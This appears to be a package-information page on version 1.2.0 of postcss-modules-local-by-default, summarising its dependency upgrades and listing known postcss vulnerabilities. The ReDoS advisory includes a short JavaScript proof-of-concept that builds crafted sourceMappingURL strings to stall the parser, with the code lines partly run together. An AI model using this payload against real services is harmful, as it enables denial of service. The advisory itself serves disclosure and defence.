Version 1.2.0 of postcss-modules-local-by-default introduces several key updates compared to the previous stable version, 1.1.1, primarily centered around dependency upgrades. Developers considering this package should note the change in PostCSS dependency, moving from ^5.0.4 to ^6.0.1. This is a significant jump, potentially impacting compatibility with other PostCSS plugins in your project. Ensure your existing plugin ecosystem is compatible with PostCSS 6 before upgrading.
Another notable change is the css-selector-tokenizer dependency, which advances from ^0.6.0 to ^0.7.0. This updated tokenizer likely provides improved parsing and handling of CSS selectors, potentially resolving edge cases or adding support for newer CSS syntax.
While the core functionality of making CSS Modules local scope the default remains consistent, these dependency updates suggest improved performance, stability, or enhanced features related to CSS parsing and processing under the hood. Developers using older versions of PostCSS or the css-selector-tokenizer should carefully evaluate the impact of these changes.
Other development dependencies such as testing and linting tools remain largely unchanged, with only eslint seeing an increase from version ^1.5.0 to ^3.19.0 which provides newer linting rules. The upgrade to the latest libraries should bring bug fixes and performance improvements. Always test thoroughly after upgrading to ensure seamless integration within your existing workflow.
All the vulnerabilities related to the version 1.2.0 of the package
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.